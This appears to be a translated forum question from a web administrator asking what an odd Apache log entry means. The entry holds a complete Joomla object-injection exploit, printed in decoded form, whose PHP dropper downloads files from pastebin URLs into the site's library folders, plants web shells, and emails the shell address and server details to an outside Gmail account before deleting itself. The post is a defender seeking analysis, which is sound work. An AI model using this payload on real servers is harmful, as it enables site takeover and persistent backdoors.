【发布时间】:2017-03-22 04:28:00
【问题描述】:
我最近一直致力于在我的生产 Apache/PHP/MySQL Web 应用程序中防止 SQL 注入。
为此,我会定期浏览 Apache 访问日志以查找异常请求,如果发现异常请求,我偶尔会尝试复制它们(有人有更好的建议吗?)。
今天看到访问日志里出现了一个奇怪的日志。我看到存在 HTTP 引荐来源网址,但我没有原始请求的匹配日志。 Apache 错误日志中也没有匹配的日志表明它被“服务器配置拒绝”。
这是奇怪的日志(base_64 解码):
169.239.180.100 - - [22/Mar/2017:04:01:37 +0000] "GET / HTTP/1.1" 200 13963 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3 :{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\0\0\0disconnectHandlers\";a:1:{i:0; a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8: \"feed_url\";s:3462:\"$check = $_SERVER['DOCUMENT_ROOT'] 。 "/libraries/lol.php" ; $fp=fopen("$check","w+"); fwrite($fp,base64_decode('
<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ;
$text = http_get('http://pastebin.com/raw/hjvDMQX1');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."</br>";
}else
echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
$text2 = http_get('http://pastebin.com/raw/KPh36MAb');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br>";
}else
echo "not exits2";
echo "done2 .\n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ;
$text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
$text4 = http_get('http://pastebin.com/raw/RA3giT4L');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);
$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
$text5 = http_get('http://pastebin.com/raw/KPh36MAb');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);
$toz = "daniel.3.walker@gmail.com";
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
$header = 'from: Saico <daniel.3.walker@gmail.com>' . "\r\n";
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
$sentmail = @mail($toz, $subject, $message, $header);
@unlink(__FILE__);
?>
')); fclose($fp); JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\ "cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\0\0\0connection\" ;b:1;}\xf0\xfd\xfd\xfd"
我试图通过 Postman 复制此 GET 请求,但它被视为“无效的 XMLHTTPRequest”。我不确定人们通常会如何测试这个?
我也不确定这是做什么(或试图做什么)。任何有关此尝试做什么的信息/理论(以及它是否可能成功)将不胜感激。
我认为这只是通过 HTTP 引用程序将 SQL 注入某些“框架”的简单尝试,但我不是专家。提前感谢您的帮助。
【问题讨论】:
-
您可以首先解码该有效负载以查看其内容,只是不要对其进行评估
-
有趣,好主意。我通过手动解码日志更新了我的答案。 (:哈哈。
标签: php sql security mysqli sql-injection